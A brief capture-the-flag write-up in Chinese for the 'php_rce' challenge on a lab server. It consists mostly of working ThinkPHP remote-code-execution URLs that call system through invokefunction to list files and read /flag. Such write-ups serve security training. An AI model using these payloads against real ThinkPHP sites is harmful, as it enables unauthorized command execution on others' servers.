攻防世界 Web： php_rce
http://220.249.52.133:44797/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
——invokefunction #调用以下函数
——function=call_user_func_array&vars[0]=system
——vars[1][] #使用Linux命令
http://220.249.52.133:44797/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag
cat /flag
# 查看找到flag
http://220.249.52.133:44797/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag